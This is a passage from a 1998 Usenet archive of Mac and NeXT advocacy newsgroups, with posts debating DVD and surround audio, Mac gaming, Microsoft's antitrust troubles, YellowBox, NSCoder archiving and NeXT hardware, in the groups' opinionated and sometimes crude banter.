>>only can I play very, very good 64-bit console games on it, but watch TV,
>>rent videos, do cable, watch DVD movies in Dolby Pro Logic and all *with*
>>superior component Hi-Fidelity/digital sound.
>
>Let's veer off a bit, and discuss upgrading for new features, vs being
>happy with what you already have.
>
>Justin, I notice that you've rattled off a rather impressive home theater
>setup. However, no DTS or AC-3 decoder? Why?
>
>I have a ProLogic receiver, and a friend of mine just upgraded to a
>receiver with a DTS/AC3 decoder, and he keeps going on about its technical
>superiority over ProLogic, and how all this music is being issued which
>utilizes the decoder in a home theater, sending music to the different
>channels, yadda yadda yadda.
>
>I'm thinking: This is quadrophonic stereo, all over again.
>
>Or am I missing something?
DVD downs - recorders not standardized, audio not standardized, surround
field not standarized, more expensive than VHS
DVD ups - movies cheaper than Laserdisc (needs a TV good enough to display
that quality)
DTS <http://www.dtstech.com/> and Dolby AC-3
<http://www.atsc.org/document.html> are NOTHING MORE than lossy-compressed
audio (like MPEG audio and Sony's ATRAC) in a multi-channel bitstream.
You'll never hear videophiles talk about the lossy sound compression in
DVD, but for years audiophiles balked at ATRAC in MD and MPEG audio in
DCC.
Ambisonics <http://www.york.ac.uk/inst/mustech/3d_audio/ambsfaq.htm> can
be encoded in stereo or a multi-channel bitstream like DTS or AC-3, but
there isn't any push and consumers don't know a damn thing about audio
science so we all lose. Ambisonics would be the thing to standardize on
and would make DVD worthwhile.
Otherwise, its just snazzed-up laserdisc in a smaller package, optionally
a computer peripheral, that is only half-finished and largely
un-standardized, that will first and foremost give a massive boost to the
audio, video, and recording studio industries as everyone goes out and
buys all the necessary gadgets to make the new stuff work. It's all about
the economics of churn, and getting more money out of everyone's pockets.
And ultimately, to make an audio-only format for DVD to replace CD and get
the consumers to pay even MORE for an artist's album, of course!
(Actually DVD does have the ability to encode several camera angles and
allow the viewer to switch between them, unlike laserdisc. Most likely
the designers had porn movies in mind - it was porn movies that sold VCRs
and made them popular. So I'm sure it will sell DVD and it will become
popular.)
The best thing about technology from the producer's point of view is that
its always possible to improve it and charge more for the new, improved
technology, and the consumer won't be doing any long-term cost-benefit
analysis to churn. It's all about how to most effectively get the
consumer to fork over their cash.
This approach really succeeds when you can even morph the consumer into
being an active promoter of your product, even if they don't understand
it. The typical weak male ego is a very effective quality to exploit by
giving the male the material means to compensate, or over-compensate as
the case may be.
--
Nathan Raymond
http://www.everythingmac.com
From: mNOSPAMroeder@macromedia.com (Michael Roeder)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 11:49:16 -0700
Organization: Macromedia
Message-ID: <mNOSPAMroeder-0306981149160001@192.168.21.176>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <mNOSPAMroeder-0206981658270001@192.168.21.176> <35749ed6.0@206.25.228.5>
In article <35749ed6.0@206.25.228.5>, jkheit@xtdl.com wrote:
> mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> > Oh, dear, and I really needed SimCity and Quake for my work! Man,
> > not having games to run on my Mac, what a bummer!
>
> It is. Games, entertainment, etc., that sector is a large and
> growing sector. It's one of the biggest reasons why people buy
> computers, consistently throughout time. Not addressing it, or an
> inability to address it effectively is a gaping hole for the
> platform.
Let's see ... there are more games available for Windows than for the Mac,
and even though I don't play computer games (I'm a hockey goalie; what do
I need with computer games?) that means I should get a Windows box instead
of a Mac? Is that what you mean?
Naaaah, can't possibly be.
--
Michael Roeder, QA Engineer, Speaking for himself.
mroeder at macromedia dot com
http://www.stopspam.org/usenet/faqs/faqs.html
From: kfox@pt0204.pto.ford.com (Ken Fox)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 4 Jun 1998 16:12:46 GMT
Organization: Ford Motor Company, Powertrain
Sender: kfox@pt0204 (Ken Fox)
Distribution: world
Message-ID: <6l6h1u$cd33@eccws1.dearborn.ford.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <6jv16u$hn4$1@inconnu.isu.edu>
ink@inconnu.isu.edu (Craig Kelley) writes:
> John Saunders <jws@jws.ultranet.com> wrote:
> > That's precisely the point. Microsoft has made it trivial for third
> > parties to include web browsing functionality in their products. Same with
> > ftp and gopher. Why is that a bad thing? Why can't Netscape do the same?
>
> The _whole point_ of having an operating system is so that every
> application needn't include support for every possible function. Why
> on earth would I ever need to include a browser in my application?
Netscape has had "remote control" features in the browser for a long
time. We use Netscape here as our application help system because it's
so simple for our code to send commands to Netscape.
It is very nice to have browser and web functionality available as
a library for other apps to use. The Netscape "remote control" doesn't
quite do it. For example, sometimes we'd like to fetch configuration
files via HTTP. (We use an embedded Perl module for this now.)
It would have been simple for Netscape to release a library and documented
API that allowed other app developers to use the functions in other apps.
Too bad Netscape didn't do that -- it opened a door for Microsoft. I'm
happy that Microsoft saw the possibility and built the library.
*However*, it should be done in a way such that Netscape can provide
a replacement library with enhanced features. It should be done in a
way such that the Microsoft library is not part of the base OS, but
a priced option or secondary product.
- Ken
--
Ken Fox (kfox@ford.com) | My opinions or statements do
| not represent those of, nor are
Ford Motor Company, Powertrain | endorsed by, Ford Motor Company.
Analytical Powertrain Methods Department |
Software Development Section | "Is this some sort of trick
| question or what?" -- Calvin
From: justincsNOSPAM@psi.net (Justin Case)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Thu, 04 Jun 1998 12:16:38 -0500
Organization: Oh, for the hell of it.
Message-ID: <justincsNOSPAM-0406981216380001@ip198.pontiac2.mi.pub-ip.psi.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6l1p8q$ak3$1@newsfep1.sprintmail.com> <6l23dm$84s$1@nnrp1.dejanews.com> <justincsNOSPAM-0206982119070001@ip116.pontiac2.mi.pub-ip.psi.net> <atlauren-0306981238320001@jungleland.acs.uci.edu> <justincsNOSPAM-0406981043110001@ip198.pontiac2.mi.pub-ip.psi.net> <3576c0d0.0@news.depaul.edu>
-y%"%xcYz/}y+:xU3BN;]\1<'w@TnK1[_d9)>|(Z{XP1+6@2c?w\kAE0l;jn),:.Bl/B
TD(@MtZ''BCd^X}97=;v`4~%bNx+5bYnFhHC!Q4V"\:@XY:sL"B5$$8:54<"mAKy77!l
In article <3576c0d0.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Justin Case <justincsNOSPAM@psi.net> wrote:
>
> > Now if I could only afford all the Monster Cable to complete the
> > system, I'd be in business!
>
> Just Monster cable? I remember once seeing some kind of audiophile
> cable that quite literally was as thick as a garden hose.
LOL. Yeah, I hear ya on that one. Actually, Moster Cable is very, very
good - and reasonably priced compared to other component wire available
(my 6' "Tributaries" S-Video cable cost me $185.00!).
--Justin
"What's new, Normie?"
"Terrorists, Sam. They've taken over my stomach and they're demanding beer."
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 4 Jun 1998 14:12:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6l72j0$6j4@nntp02.primenet.com>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at>
<rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <355A9E5E.2D3DB012@unet.univie.ac.at> <rkt1-1505980212090001@cu-dialup-1206.cit.cornell.edu> <6l6dtf$adf$5@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
: In <rkt1-1505980212090001@cu-dialup-1206.cit.cornell.edu> Tapella wrote:
: > Well, last I saw NEXTSTEP was 5 years ago (not even sure what version) and
: > at the time it seemed more cluttered and complicated than what I was used
: > to (although at the time I was alot more of a computer newbie than I am
: > now... which is pretty damn newbie :) Mac users would have a hard time
: > getting around NEXTSTEP/Openstep properly I bet.
: These are the same Mac-users that pride themselves in being the technical
: elite -- earning 10% greater salaries than average PC users...?
It's not a question of technical experience, it's personality. The Mac UI
is for people who have shredded wheat and juice for breakfast every day.
It's simple, bland, and good for you. At the other extreme, the huevos
rancheros and french roast crowd is running Enlightenment.
John
From: kaz@smart.net (KAZ Vorpal)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 4 Jun 1998 21:11:43 GMT
Organization: the Sentient
Message-ID: <6l72if$mp9$1@news.smart.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com>
If it is bullshit to say that what hurts microsoft hurts the industry,
then all of the attacks on Microsoft are a lie in the first place.
This is ironic...the only way Microsoft could be raped by hte
looters in Big Brotherment without hurting the industry is if
they are not as /important/ to the industry as the rapists
claim they are.
So which is it? Are they not important enough for harm to them
to harm the industry? Or are they important enough to allegedly
need prosecution, in which case the industry /must/ be harmed
by their suffering.
Either everyone is "unfairly" too dependent on Microsoft, and
will be harmed, or they are NOT unfairly dependent, and so
prosecuting them is wrong.
Again, the side with the contradictory arguments is probably
the side who's wrong.
--
http://www.smart.net/~kaz/microsoft.html < Is Microsoft a Monopol
--
--
Words of the Sentient:
...remember that all tax revenue is the result of
holding a gun to somebody's head.
Not paying taxes is against the law.
If you don't pay taxes, you'll be fined.
If you don't pay the fine, you'll be jailed.
If you try to escape from jail, you'll be shot.
Thus I -- in my role as citizen and voter --
am going to shoot you -- in your role as taxpayer and ripe suck --
if you don't pay your fair share of the national tab.
Therefore, every time the government spends money on anything, you have
to ask yourself, "Would I kill my kindly, gray-haired mother for this?"
-- P.J.O'Rourke
--------------------
http://www.smart.net/~kaz/ mailto:kaz@freedom.usa.com
AOL Instant Message Name: KAZVorpal
(I don't have AOL <ick>, but now AIM comes with Netscape
and it works better than ICQ)
--
This has been a Sentient Moment, brought to you by the makers of
/True Democracy/, /The Words of the Sentient/, and various other
Pompous Pontifications. All opinions are for entertainment purposes
only; we don't actually claim to predict the future, even though we
say we do repeatedly in our infomercial. Any actions taken by the
proletariat based on the content of this Sentient Moment are the
sole responsibility of the consumer, and are not proposed or
endorsed by UltraMegaLimitless or the employees of KAZ Vorpal.
Use or rebroadcast without the expressed written consent of ESPN
is highly likely.
KAZ Vorpal:
OverLord of the World's Most Verbose Tagline
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
now?)
Date: 4 Jun 1998 14:16:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19C5C96-1A55AE@206.165.43.122>
References: <slrn6ndqdj.mjt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>
>Reread "elegant and compact solution".
If it handles multiple-language DTP needs better than what Apple will be
offering in ATSUI, then it is elegant and compact, by default, if ATSUI is
the 2nd-place system.
Besides, how do you know how large GX is? The INIT is 2340K, but is that
bloated for what it does?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Yassam@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Thu, 04 Jun 1998 16:57:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6l6jma$kku$1@nnrp1.dejanews.com>
References: <edremy-ya02408000R0206981803490001@nnrp.usc.edu> <B19ADC53-174E2D5@141.214.128.36> <edremy-ya02408000R0306981019150001@nnrp.usc.edu> <6l4ajo$fs4$1@vixen.cso.uiuc.edu>
In article <6l4ajo$fs4$1@vixen.cso.uiuc.edu>,
gcheng@uni.uiuc.edu (Guanyao Cheng) wrote:
> Play 4 player Goldeneye on a N64 and be amazed. It is awesome.
Play 16+ player QuakeII on the internet and be even more amazed! :-D
:)
Dr Yassam
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: cancel
Control: cancel <6l6ul9$s9l$1@sun27.hrz.tu-darmstadt.de>
Date: 4 Jun 1998 20:06:06 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6l6une$s9l$2@sun27.hrz.tu-darmstadt.de>
cancel
From: rexr@alta.dt1.sdca.home.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1
<35739395.42CCE64B@nstar.net>
<6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net>
<slrn6n8ud7.jbt.sal@panix2.panix.com> <357498E0.8F6C80B3@nstar.net>
<slrn6napbm.5pt.sal@panix3.panix.com> <35757CB5.6CDC6D14@nstar.net>
<6l4j1r$ml5$1@news.xmission.com> <357618CD.182EDB47@nstar.net>
<6l5ku8$ml5$4@news.xmission.com> <6l5n7t$cl9$2@sun27.hrz.tu-darmstadt.de>
<SCOTT.98Jun4110326@slave.doubleu.com>
Message-ID: <DCEd1.11112$Kx3.10067396@news.rdc1.sdca.home.com>
Date: Thu, 04 Jun 1998 21:48:19 GMT
NNTP-Posting-Date: Thu, 04 Jun 1998 14:48:19 PDT
Organization: @Home Network
In <SCOTT.98Jun4110326@slave.doubleu.com> Scott Hess wrote:
> In article <6l5n7t$cl9$2@sun27.hrz.tu-darmstadt.de>,
> Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> writes:
> don@misckit.com (Don Yacktman) wrote:
> >Again, decent hardware for the time period, seeing as the slab I
> >bought in 1991 is still quite usable today. Of course, if you set
> >the same engineers to designing a best of breed system today,
> >there are a lot of advances that they could leverage to make one
> >heck of a cool system. I'd love to see what they would come up
> >with (and I'm hoping that Rubenstein comes up with some cool
> >toys)!
>
> Back in black, I hope. By the way, there's a rumor I've heard <hmpf>
>
> So long as it's not translucent... Bring back fins!
>
>
I'll take it in a GoldenEgg form factor if it has real slots (SMP style),
BigAssbackplane, add-in Raid stack, redundant Pwr Supply, and Fins! A
Realmachine, not this so, so BuildYourOwn boxed constraint program and a
RealPricetag $12 - 15,000 USD is fine. Let it breathe Baby... Give it a
real Live upgrade path into the G5 future. A foundation chasis ala what the
NeXTcube woulda, shoulda if NeXT coulda...
-r
From: rexr@alta.dt1.sdca.home.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YellowBox on handhelds
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <3576c2a1.0@news.depaul.edu> <6l661p$o4j$1@ns3.vrx.net>
Message-ID: <gLEd1.11114$Kx3.10067396@news.rdc1.sdca.home.com>
Date: Thu, 04 Jun 1998 21:57:32 GMT
NNTP-Posting-Date: Thu, 04 Jun 1998 14:57:32 PDT
Organization: @Home Network
In <6l661p$o4j$1@ns3.vrx.net> Maury Markowitz wrote:
> In <3576c2a1.0@news.depaul.edu> Jonathan W Hendry claimed:
> > A while back there was a raging argument about YellowBox in
> > a handheld. One of the main obstacles discussed was the
> > requirements of DPS. That obstacle seems to have been removed.
>
> Yup.
>
> > Can anyone think of a reason Apple couldn't field a YellowBox
> > compatible API for handhelds? It could use a very minimal
> > kernel underneath, and a version of Quickdraw/E tuned for a small
> > screen and tight memory. Likewise for the YB frameworks themselves.
>
> Basically you end up with two markets. One is the "handheld" market, but
I
> really do think the MacOS/WinCE is the best solution there. The other is
> sub-handhelds, or as Lawson called them, beltops. That's a market that I
> think would benefit from a FoundationKit + PDO + cool things. Not the
whole
> YB by any means.
>
> > Unix wouldn't be necessary, so that's not an issue.
>
> No, but having the ability to use QnX would be very cool.
>
>
This is all cool and loaded with the promise of a wireless future, but... Is
there that much in YB that could be leveraged into wireless tasks? Is there
some grand "YBfamily" interoperability market strategy ?
I'm just curious... what is driving YB onto wireless?
-r
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: future of mac programming
Date: 4 Jun 1998 22:31:02 GMT
Organization: MiscKit Development
Message-ID: <6l7776$qti$2@news.xmission.com>
References: <6k61dt$ae5$1@crib.bevc.blacksburg.va.us> <1998052507544800.DAA25183@ladder01.news.aol.com> <6kbt81$1da$1@crib.bevc.blacksburg.va.us> <6kc2go$5tr$3@ns3.vrx.net> <jesjones-ya02408000R2605982143170001@news.accessone.com> <6kgtva$nc0$9@ns3.vrx.net> <jesjones-ya02408000R2705982033120001@news.accessone.com> <6kjagc$q9p$5@ns3.vrx.net> <rex-2805981519470001@192.168.0.3> <6kjtpo$9da$3@ns3.vrx.net> <rex-2805981924060001@192.168.0.3> <6km2cm$s3m$4@ns3.vrx.net> <rex-0106980320490001@192.168.0.3> <6ku7hc$g29$2@ns3.vrx.net> <rex-0106981800560001@192.168.0.3> <6kuml2$rhg$1@ns3.vrx.net> <rex-0106981924540001@192.168.0.3> <6kuucg$2uf$2@ns3.vrx.net> <rex-0106982229380001@192.168.0.3> <6l0es4$8th$4@ns3.vrx.net> <rex-0306980025070001@192.168.0.3> <6l44s5$5dc$7@ns3.vrx.net> <rex-0406980433240001@192.168.0.3> <6l5p9g$ebr$6@ns3.vrx.net> <rex-0406981708220001@192.168.0.3>
rex@smallandmighty.com (Eric King) wrote:
> Okay, now I have a clearer idea of the problem. You want
> metainformation included in the archival system such that the original
> application code is not needed to use what's stored in the archive.
> I think you're being a bit too quick to compare Be's system with the
> NSCoder system. They are different. In OpenStep, I can see no way of
> inspecting the instance variables of an archive and getting their names,
> without actually instantiating the objects themselves. OpenStep doesn't
> provide methods to do this. BMessages have methods to do just that.
You can do it with a custom NSCoder; the idea of coders is sufficiently
general that you can get what you want...but a little bit of work is required
beyond the simplistic implementation you get in Foundation. I've seen coders
that put the archive in property list format, which is an ascii format based
on key/value dictionaries...so you *can* name the data members in the
flattened objet hierarchy. I do wish that Apple included a few coders like
this in the Foundation Kit, however.
And why the **** is this Be vs. OPENSTEP pissing match in csn.programmer when
it belongs in csn.advocacy? When (if) anyone follows up to this, please trim
out csn.programmer. Please put this thread where it belongs...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: Jeff.Richmond@uk.sun.comREMOVETHIS (Jeff Richmond - SUN UK - SSIR)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 17:15:41 GMT
Organization: Sun Microsystems UK
Message-ID: <6l6knt$kpl@flonk.uk.sun.com>
References: <6l5r5k$adf$3@ironhorse.plsys.co.uk>
In article <6l5r5k$adf$3@ironhorse.plsys.co.uk>, mmalcolm crawford <malcolm@plsys.co.uk> writes:
>In <B199A9F8-267E6@206.165.43.1> "Lawson English" wrote:
>
>> The point is MOOT. In the common usage of the word, "moot" means "no longer
>> worth arguing over."
>>
>Twaddle -- it means exactly the opposite, namely that "it's still open to
>debate".
>
>mmalc.
>
Er ... I would have to disagree. Common North American usage of 'moot' means
"no longer worth arguing about". Perhaps usage is different in the UK?
Jeff Richmond
(a Stranger in a Strange Land)
-standard disclaimer-
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: future of mac programming
Date: 4 Jun 1998 19:37:01 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l6t0t$c3k$1@ns3.vrx.net>
References: <6k61dt$ae5$1@crib.bevc.blacksburg.va.us> <1998052507544800.DAA25183@ladder01.news.aol.com>
<6kbt81$1da$1@crib.bevc.blacksburg.va.us> <6kc2go$5tr$3@ns3.vrx.net>
<jesjones-ya02408000R2605982143170001@news.accessone.com> <6kgtva$nc0$9@ns3.vrx.net>
<jesjones-ya02408000R2705982033120001@news.accessone.com> <6kjagc$q9p$5@ns3.vrx.net>
<rex-2805981519470001@192.168.0.3> <6kjtpo$9da$3@ns3.vrx.net>
<rex-2805981924060001@192.168.0.3> <6km2cm$s3m$4@ns3.vrx.net>
<rex-0106980320490001@192.168.0.3> <6ku7hc$g29$2@ns3.vrx.net>
<rex-0106981800560001@192.168.0.3> <6kuml2$rhg$1@ns3.vrx.net>
<rex-0106981924540001@192.168.0.3> <6kuucg$2uf$2@ns3.vrx.net>
<rex-0106982229380001@192.168.0.3> <6l0es4$8th$4@ns3.vrx.net>
<rex-0306980025070001@192.168.0.3> <6l44s5$5dc$7@ns3.vrx.net>
<rex-0406980433240001@192.168.0.3> <6l5p9g$ebr$6@ns3.vrx.net>
<rex-0406981708220001@192.168.0.3> <6l7776$qti$2@news.xmission.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: don@misckit.com
In <6l7776$qti$2@news.xmission.com> Don Yacktman claimed:
> You can do it with a custom NSCoder; the idea of coders is sufficiently
> general that you can get what you want...but a little bit of work is
required
> beyond the simplistic implementation you get in Foundation. I've seen
coders
> that put the archive in property list format, which is an ascii format
based
> on key/value dictionaries...so you *can* name the data members in the
> flattened objet hierarchy. I do wish that Apple included a few coders like
> this in the Foundation Kit, however.
The problem is that the NSCoder API doesn't have room in the current
implementation. If they're going to do this, they should do it NOW because
the API's harden.
> And why the **** is this Be vs. OPENSTEP pissing match
Hardly a pissing match. Quite a welcome change for me and Eric I'd say.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.system
Subject: Shaking input box
Date: 4 Jun 1998 19:39:42 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l6t5u$c3k$2@ns3.vrx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
A few days ago someone suggested that I use "exit" typed into a login box
to avoid running out of memory. Sure enough, this has saved me a few times
when I could see the swap getting heavy (I'm leaking NSImages somewhere I
think).
However about 1/3rd of the time I use it, I get something else entirely.
When the system gets ready to run again, the login box appears and starts
shaking back and forth, as if I had typed in the wrong name/passwork. This
continues for some time, and the spinny cursor comes up. Sometimes it stops
and everything is well, othertimes it goes "forever".
Anyone know what this is?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YellowBox on handhelds
Date: 4 Jun 1998 19:40:59 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l6t8b$c3k$3@ns3.vrx.net>
References: <3576c2a1.0@news.depaul.edu> <6l661p$o4j$1@ns3.vrx.net>
<gLEd1.11114$Kx3.10067396@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: rexr@alta.dt1.sdca.home.com
In <gLEd1.11114$Kx3.10067396@news.rdc1.sdca.home.com> Rex Riley claimed:
> This is all cool and loaded with the promise of a wireless future, but...
Is
> there that much in YB that could be leveraged into wireless tasks? Is
there
> some grand "YBfamily" interoperability market strategy ?
>
> I'm just curious... what is driving YB onto wireless?
From one side YB. This is the same "sell" as YB in general - good tools,
easy development, cross platform. For the other, since you have FK on all
your platforms, you can write the desktop side of the software very much
easier than you can now.
Maury
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 3 Jun 98 21:55:36
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun3215536@slave.doubleu.com>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1
<35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu>
<35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com>
<357498E0.8F6C80B3@nstar.net> <slrn6napbm.5pt.sal@panix3.panix.com>
<35757CB5.6CDC6D14@nstar.net> <6l4j1r$ml5$1@news.xmission.com>
<357618CD.182EDB47@nstar.net>
In-reply-to: "Michael J. Peck"'s message of Wed, 03 Jun 1998 22:47:25 -0500
In article <357618CD.182EDB47@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> writes:
Don Yacktman wrote:
> The reason is that the Color slabs have a very impressive memory
> architecture--wider bus to memory and the DMA+I/O channel
> controller ASIC. Also, the slabs have built in graphics that are
> connected such that they are comparable to a modern AGP port.
> Not bad for a ca. 1990 design. So many people forget that
> there's a *lot* more to good system performance than a fast CPU
> chip. (Related: throughput goes up with bus width, not just raw
> MHz.)
That's all true. But I don't think it has much to do with comparing
quality of sound between a slab and a PC with a good sound card.
For one thing, the DSP on the slab was general-purpose, and used
system memory; for that reason, the wide bus to memory was useful.
I'm not sure about that. So far as I recall, the DSP had some
internal memory, an oddball *3 amount like 48k or something (once the
pipeline was primed, you could read from two memory areas and write to
a third in one cycle, or somesuch). You still had to keep feeding it
if you wanted your sound smooth. That's why there's a slot for adding
additional memory for the DSP...
PS. Apart from raw bit blitting, how did a wide video bus help
something like the NeXTDimension? Didn't the CPU just pass DPS data
to the i860 for rendering?
The CPU handled DPS, the i860 was just a rendering device. So, to a
certain extent, most stuff _was_ raw bit blitting, and even what
wasn't blitting was probably simplified somewhat - simplified meaning
a few operations applied liberally, with the main CPU handling the
breakdown from the complicated ops.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: agave@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Thu, 04 Jun 1998 18:31:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6l6p5s$uer$1@nnrp1.dejanews.com>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1 <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com> <357498E0.8F6C80B3@nstar.net> <slrn6napbm.5pt.sal@panix3.panix.com> <35757CB5.6CDC6D14@nstar.net> <6l4j1r$ml5$1@news.xmission.com>
In article <6l4j1r$ml5$1@news.xmission.com>,
don@misckit.com wrote:
>
> "Michael J. Peck" <mjpeck@nstar.net> wrote:
> > Listening to good wave music on two different cards (one with a
> > wavetable and one without) yields dramatically different results. One of
> > my machines has the Sound Blaster 16 I mentioned previously; it requires
> > an upgrade for a wavetable. My brother's Ensoniq SoundScape has a
> > built-in wavetable. We both used to play Warcraft II head-to-head, and
> > listening to the music between the rooms was strikingly enlightening in
> > this regard. His wavetable made it sound much more geniune, lively, and
> > overall pleasant to hear. It was truer to the original instruments
> > envisioned by the author of the music.
>
> I'd like to emphasize this. I have two PCs sitting side by side here on my
> "L" shaped desk. One has an Ensoniq SoundScape Elite and the other has a
> SB16Pro. The difference between them, when playing the exact same MIDI
file,
> is *amazing*.
>
Hate to be a "me too" but the MIDI on my Elite impresses me enough that I
have to chime in :) Fantastic patch set. Anyone have any ideas if new, post-
Ensoniq acquisition (Creative Labs bought out all of Ensoniq's sound card
business) sound blasters use the Ensoniq patch set?
-Ian P. Cardenas
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 4 Jun 98 11:20:50
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun4112050@slave.doubleu.com>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3>
<6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
<6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3>
